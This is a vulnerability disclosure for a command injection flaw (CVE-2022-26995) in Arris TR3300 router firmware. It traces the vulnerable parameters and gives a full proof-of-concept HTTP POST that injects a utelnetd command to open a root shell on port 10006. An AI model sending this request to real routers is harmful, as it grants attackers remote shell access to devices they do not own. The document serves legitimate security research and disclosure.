Headline
CVE-2022-26995: my_vuln/14.md at main · wudipjq/my_vuln
Arris TR3300 v1.0.13 was discovered to contain a command injection vulnerability in the pptp (wan_pptp.html) function via the pptp_fix_ip, pptp_fix_mask, pptp_fix_gw, and wan_dns1_stat parameters. This vulnerability allows attackers to execute arbitrary commands via a crafted request.
ARRIS Vulnerability
Vendor:ARRIS
Product:TR3300
Version:1.0.13(Download Link:https://arris.secure.force.com/consumers/ConsumerProductDetail?p=a0ha000000OlZ68AAF&c=SURFboard%20Routers)
Type:Remote Command Execution
Author:Jiaqian Peng
Institution:[email protected]
Vulnerability description
We found an Command Injection vulnerability in ARRIS router with firmware which was released recently, allows remote attackers to execute arbitrary OS commands from a crafted request.
Remote Command Execution
In setup.cgi
binary:
In the router’s pptp
function(wan_pptp.html
), pptp_fix_ip、pptp_fix_mask、pptp_fix_gw、wan_dns1_stat
is directly passed by the attacker, so we can control the pptp_fix_ip、pptp_fix_mask、pptp_fix_gw、wan_dns1_stat
to attack the OS.
First, accept and process the content of the field(pptp_fix_ip、pptp_fix_mask、pptp_fix_gw、wan_dns1
), and then call the function nvram_set
to store this input.
In rc_apps
binary:
As you can see here, in sub_40D78C
function, the initial input will be extracted.
Eventually, in sub_409884
function, the initial input will cause command injection.
Supplement
In order to avoid such problems, we believe that the string content should be checked in the input extraction part.
PoC
We set pptp_fix_ip
as /usr/sbin/utelnetd -l /bin/sh -p 10006
, and the router will excute it,such as:
POST /wan_pptp.html HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 345 Origin: http://192.168.1.1 Connection: close Referer: http://192.168.1.1/wan_pptp.html Upgrade-Insecure-Requests: 1
pptp_enable=&pptp_username=pjqwudi&pptp_passwd=abc123&pptp_dyna=&pptp_fix_ip=`/usr/sbin/utelnetd -l /bin/sh -p 10006`&pptp_fix_mask=255.255.255.0&pptp_fix_gw=192.168.0.1&pptp_serv_ip=pjqwudi&pptp_conn_id=1&pptp_mtu=1436&h_pptp_enable=enable&h_pptp_dyna=enable&h_pptp_dod=disable&todo=save&this_file=wan_pptp.html&next_file=wan_pptp.html&message=
Result
Get a shell!